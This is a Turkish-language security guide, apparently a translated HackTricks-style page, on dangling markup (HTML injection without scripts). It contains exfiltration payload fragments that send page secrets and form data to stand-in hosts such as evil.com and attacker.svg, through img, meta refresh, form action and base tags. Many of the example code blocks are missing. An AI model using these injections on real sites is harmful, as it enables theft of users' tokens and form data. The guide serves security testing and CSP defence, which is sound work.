Dangling Markup - HTML scriptless injection
Özgeçmiş
Bu teknik, bir HTML enjeksiyonu bulunduğunda bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Eğer bir XSS istismar etmenin bir yolunu bulamazsanız ama bazı HTML etiketleri enjekte edebilirseniz bu çok faydalıdır. Ayrıca, HTML'de şifreli bir metin açık metin olarak kaydedilmişse ve bunu istemciden dışarı çıkarmak istiyorsanız veya bazı script yürütmelerini yanıltmak istiyorsanız da faydalıdır.
Burada yorumlanan birkaç teknik, bilgiyi beklenmedik yollarla (html etiketleri, CSS, http-meta etiketleri, formlar, base...) dışarı çıkartarak bazı İçerik Güvenlik Politikası engellerini aşmak için kullanılabilir.
Ana Uygulamalar
Açık metin sırlarını çalmak
Sayfa yüklendiğinde <img src='http://evil.com/log.cgi?
enjekte ederseniz, kurban size enjekte edilen img
etiketi ile kod içindeki bir sonraki alıntı arasındaki tüm kodu gönderecektir. Eğer bir sır bu parçanın içinde bir şekilde bulunuyorsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
Eğer img
etiketi yasaksa (örneğin CSP nedeniyle) <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
kullanabilirsiniz.
Not edin ki Chrome, içinde "<" veya "\n" bulunan HTTP URL'lerini engeller, bu yüzden "ftp" gibi diğer protokol şemalarını deneyebilirsiniz.
Ayrıca CSS @import
'ı kötüye kullanabilirsiniz (";" bulana kadar tüm kodu gönderecektir).
<table
kullanabilirsiniz:
Bir <base
etiketi de ekleyebilirsiniz. Tüm bilgiler alıntı kapatılana kadar gönderilecektir, ancak bu bazı kullanıcı etkileşimleri gerektirir (kullanıcının bir bağlantıya tıklaması gerekir, çünkü base etiketi bağlantının işaret ettiği alan adını değiştirmiş olacaktır):
Formları Çalmak
Sonra, verileri yola gönderen formlar (örneğin <form action='update_profile.php'>
) verileri kötü niyetli alan adına gönderecektir.
Formları Çalma 2
Bir form başlığı ayarlayın: <form action='http://evil.com/log_steal'>
bu, bir sonraki form başlığını geçersiz kılacak ve formdan gelen tüm veriler saldırgana gönderilecektir.
Formları Çalma 3
Buton, formun bilgilerini göndereceği URL'yi "formaction" niteliği ile değiştirebilir:
Bir saldırgan bunu bilgileri çalmak için kullanabilir.
Bu saldırının bir örneğini bu yazıda bulabilirsiniz.
Düz metin sırlarını çalmak 2
Yeni bahsedilen tekniği kullanarak formları çalmak için (yeni bir form başlığı enjekte ederek) ardından yeni bir giriş alanı enjekte edebilirsiniz:
ve bu giriş alanı, HTML'deki çift tırnakları arasındaki tüm içeriği ve bir sonraki çift tırnağı içerecektir. Bu saldırı, "Açık metin sırlarını çalma" ile "Formları çalma2" karıştırır.
Aynı şeyi bir form ve bir <option>
etiketi enjekte ederek de yapabilirsiniz. Kapalı bir </option>
bulunana kadar tüm veriler gönderilecektir:
Form parametre enjeksiyonu
Bir formun yolunu değiştirebilir ve beklenmedik bir eylemin gerçekleştirilmesi için yeni değerler ekleyebilirsiniz:
Noscript aracılığıyla açık metin sırlarını çalmak
<noscript></noscript>
Tarayıcının javascript'i desteklemediği durumlarda içeriği yorumlanacak bir etikettir (Javascript'i Chrome'da chrome://settings/content/javascript adresinden etkinleştirebilir/devre dışı bırakabilirsiniz).
Saldırganın kontrolündeki bir siteye, enjeksiyon noktasından sayfanın altına kadar içeriği dışarı aktarmanın bir yolu, bunu enjekte etmektir:
Kullanıcı Etkileşimi ile CSP'yi Aşma
Bu portswiggers araştırmasından öğrenebilirsiniz ki, en kısıtlı CSP ortamlarından bile bazı kullanıcı etkileşimleri ile veri sızdırmak mümkündür. Bu durumda kullanacağımız payload:
Not edin ki kurbandan bir bağlantıya tıklamasını isteyeceksiniz, bu bağlantı onu sizin kontrolünüzdeki payload'a yönlendirecek. Ayrıca, base
etiketinin içindeki target
niteliğinin bir sonraki tek tırnak işaretine kadar HTML içeriği içereceğini unutmayın.
Bu, bağlantıya tıklanırsa window.name
değerinin tüm HTML içeriği olacağı anlamına gelir. Bu nedenle, kurbanın bağlantıya tıklayarak eriştiği sayfayı kontrol ettiğiniz için, o window.name
'e erişebilir ve bu veriyi exfiltrate edebilirsiniz:
Yanıltıcı script iş akışı 1 - HTML ad alanı saldırısı
HTML içinde bir id ile yeni bir etiket ekleyin, bu etiket bir sonraki etiketi geçersiz kılacak ve bir scriptin akışını etkileyecek bir değerle. Bu örnekte, bir bilginin kiminle paylaşılacağını seçiyorsunuz:
Yanıltıcı script iş akışı 2 - Script ad alanı saldırısı
HTML etiketleri ekleyerek javascript ad alanında değişkenler oluşturun. Ardından, bu değişken uygulamanın akışını etkileyecektir:
JSONP'nin Suistimali
Eğer bir JSONP arayüzü bulursanız, rastgele bir fonksiyonu rastgele verilerle çağırma imkanınız olabilir:
Ya da bazı javascript'leri çalıştırmayı deneyebilirsiniz:
Iframe istismarı
Bir çocuk belge, ebeveyninin location
özelliğini görüntüleme ve değiştirme yeteneğine sahiptir, hatta çapraz köken durumlarında bile. Bu, bir iframe içinde bir script yerleştirilmesine ve istemcinin rastgele bir sayfaya yönlendirilmesine olanak tanır:
Bu, şu şekilde hafifletilebilir: sandbox=' allow-scripts allow-top-navigation'
Bir iframe, iframe ad özniteliğini kullanarak farklı bir sayfadan hassas bilgileri sızdırmak için de kötüye kullanılabilir. Bunun nedeni, kendisini iframe'leyen bir iframe oluşturabilmenizdir; bu, hassas bilgilerin iframe ad özniteliği içinde görünmesini sağlayan HTML enjeksiyonunu kötüye kullanır ve ardından o adı ilk iframe'den erişip sızdırabilirsiniz.
Daha fazla bilgi için https://portswigger.net/research/bypassing-csp-with-dangling-iframes adresini kontrol edin.
<meta abuse
meta http-equiv
kullanarak birçok işlem gerçekleştirebilirsiniz, örneğin bir Cookie ayarlamak: <meta http-equiv="Set-Cookie" Content="SESSID=1">
veya bir yönlendirme yapmak (bu durumda 5 saniye içinde): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Bu, http-equiv ile ilgili bir CSP ile önlenebilir ( Content-Security-Policy: default-src 'self';
, veya Content-Security-Policy: http-equiv 'self';
)
Yeni <portal HTML tag
<portal etiketinin istismar edilebilir zayıflıkları hakkında çok ilginç bir araştırma bulabilirsiniz burada.
Bu yazının yazıldığı anda, portal etiketini Chrome'da chrome://flags/#enable-portals
adresinden etkinleştirmeniz gerekiyor, aksi takdirde çalışmayacaktır.
HTML Leak'leri
HTML'de bağlantı sızdırmanın tüm yolları Dangling Markup için faydalı olmayacak, ancak bazen yardımcı olabilir. Buradan kontrol edin: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leak'leri
Bu, dangling markup ve XS-Leaks arasında bir karışımdır. Bir taraftan, zafiyet aynı kök sayfasına HTML (ancak JS değil) enjekte etmeye izin verir. Diğer taraftan, HTML enjekte edebileceğimiz sayfayı doğrudan saldırıya uğratmayacağız, ama başka bir sayfayı hedef alacağız.
SS-LeaksXS-Arama/XS-Leak'leri
XS-Arama, yan kanal saldırılarını istismar ederek çapraz köken bilgilerini sızdırmaya yöneliktir. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin (JS yürütmesi ile ve olmadan) dahil edilmesini istismar eder, örneğin CSS Enjeksiyonu veya Tembel Yükleme Görselleri.
XS-Search/XS-LeaksBrute-Force Tespit Listesi
Referanslar
Last updated